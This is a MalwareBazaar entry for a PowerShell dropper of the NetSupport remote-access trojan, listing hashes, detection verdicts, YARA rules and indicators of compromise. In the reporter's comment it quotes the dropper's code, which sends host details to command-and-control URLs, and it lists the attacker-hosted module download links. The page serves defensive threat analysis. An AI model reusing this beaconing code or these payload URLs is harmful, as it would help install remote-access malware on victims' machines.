MalwareBazaar Database

You are currently viewing the MalwareBazaar entry for SHA256 ccb1996d2a2b57b943611a8928a5a05d69003b1225b9afef40e21017de70be52. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.

Database Entry



NetSupport


Vendor detections: 8


Intelligence 8 IOCs 1 YARA 5 File information Comments

SHA256 hash: ccb1996d2a2b57b943611a8928a5a05d69003b1225b9afef40e21017de70be52
SHA3-384 hash: e9eb28ba93b0faa3617a3200bc6d3b055d480a89c73444b44e7d8902d08dc44dce1bb7b8093fe440c768b2c2876ab52f
SHA1 hash: 48b97a2fd63f06ce060bdff02ada6143a43221b7
MD5 hash: c3a9c69ae58d9f390efcdd39095ec039
humanhash: iowa-september-nineteen-uniform
File name:update
Download: download sample
Signature NetSupport
File size:4'236 bytes
First seen:2024-09-21 14:10:21 UTC
Last seen:Never
File type:PowerShell (PS) ps1
MIME type:text/plain
ssdeep 48:RHvWvwuwB3QGjsLCO1UD09tD6ZevCO1Uw5NtDPYPkQ0bISOI03VJ8dHtLbLvlCO7:RhbYs09w4rFBEnD8dHtLXROzBCSIOI
Threatray 612 similar samples on MalwareBazaar
TLSH T13F9165134527A05982298FE3654A7A19DF7A40BF98762165BEF81C0E2EF007D47EEC9C
Magika powershell
Reporter NDA0E
Tags:barsukenotikejik-com enotikkrolikzayac-com NetSupport ps1


Avatar
NDA0E
Downloads NetSupport modules from:
https://update-ledger.net/ns/AudioCapture.dll
https://update-ledger.net/ns/HTCTL32.DLL
https://update-ledger.net/ns/NSM.LIC
https://update-ledger.net/ns/NSM.ini
https://update-ledger.net/ns/PCICHEK.DLL
https://update-ledger.net/ns/PCICL32.DLL
https://update-ledger.net/ns/TCCTL32.DLL
https://update-ledger.net/ns/client32.exe
https://update-ledger.net/ns/client32.ini
https://update-ledger.net/ns/msvcr100.dll
https://update-ledger.net/ns/nskbfltr.inf
https://update-ledger.net/ns/nsm_vpro.ini
https://update-ledger.net/ns/pcicapi.dll
https://update-ledger.net/ns/remcmdstub.exe

C2 URLs:
https://update-ledger.net/info2.php
https://update-ledger.net/info3.php

POST requests sent to C2:
$yyx = $env:COMPUTERNAME
$filePath1 = "$env:APPDATA\Net\client32.exe"
$filePath2 = "$env:APPDATA\Net\client32.ini"

$yyxy = if ((Test-Path $filePath1) -and (Test-Path $filePath2)) { "OK" } else { "Fail" }

$body = @{
'yyx' = $yyx
'yyxy' = $yyxy
}

Invoke-RestMethod -Uri 'https://update-ledger.net/info2.php' -Method POST -Body $body -Headers @{ 'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.4962.126 Safari/537.36 OPR/79.0.4066.89' } -ErrorAction SilentlyContinue

$requestBody = @{
'computerName' = $localComputerName
'folderStatus' = if ($detectedFolders.Count -gt 0) { "OK" } else { "Fail" }
'detectedFolders' = $folderOutput
}

Invoke-RestMethod -Uri 'https://update-ledger.net/info3.php' -Method POST -Body $requestBody -Headers @{ 'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.4962.126 Safari/537.36 OPR/79.0.4066.89' } -ErrorAction SilentlyContinue

Indicators Of Compromise (IOCs)


Below is a list of indicators of compromise (IOCs) associated with this malware samples.

IOCThreatFox Reference
95.164.115.224:2080 https://threatfox.abuse.ch/ioc/1327129/

Intelligence


File Origin
# of uploads :
1
# of downloads :
88
Origin country :
GR GR
Vendor Threat Intelligence
Verdict:
Malicious
Score:
98.2%
Tags:
Generic Infostealer Stealth Trojan
Verdict:
Likely Malicious
Threat level:
  7.5/10
Confidence:
100%
Tags:
dropper
Result
Verdict:
UNKNOWN
Result
Threat name:
NetSupport RAT
Detection:
malicious
Classification:
troj
Score:
72 / 100
Signature
AI detected suspicious sample
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Powershell drops PE file
Sigma detected: Powershell drops NetSupport RAT client
Behaviour
Behavior Graph:
Result
Malware family:
netsupport
Score:
  10/10
Tags:
family:netsupport discovery execution persistence rat
Behaviour
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Suspicious use of WriteProcessMemory
Command and Scripting Interpreter: PowerShell
System Location Discovery: System Language Discovery
Adds Run key to start application
Executes dropped EXE
Loads dropped DLL
Blocklisted process makes network request
Downloads MZ/PE file
NetSupport
Please note that we are no longer able to provide a coverage score for Virus Total.

YARA Signatures


MalwareBazaar uses YARA rules from several public and non-public repositories, such as YARAhub and Malpedia. Those are being matched against malware samples uploaded to MalwareBazaar as well as against any suspicious process dumps they may create. Please note that only results from TLP:CLEAR rules are being displayed.

Rule name:Detect_APT29_WINELOADER_Backdoor
Author:daniyyell
Description:Detects APT29's WINELOADER backdoor variant used in phishing campaigns, this rule also detect bad pdf,shtml,htm and vbs or maybe more depends
Reference:https://cloud.google.com/blog/topics/threat-intelligence/apt29-wineloader-german-political-parties
Rule name:Detect_Malicious_VBScript_Base64
Author:daniyyell
Description:Detects malicious VBScript patterns, including Base64 decoding, file operations, and PowerShell.
Rule name:detect_powershell
Author:daniyyell
Description:Detects suspicious PowerShell activity related to malware execution
Rule name:Detect_PowerShell_Obfuscation
Author:daniyyell
Description:Detects obfuscated PowerShell commands commonly used in malicious scripts.
Rule name:Disable_Defender
Author:iam-py-test
Description:Detect files disabling or modifying Windows Defender, Windows Firewall, or Microsoft Smartscreen

File information


The table below shows additional information about this malware sample such as delivery method and external references.

  
Delivery method
Distributed via web download

Comments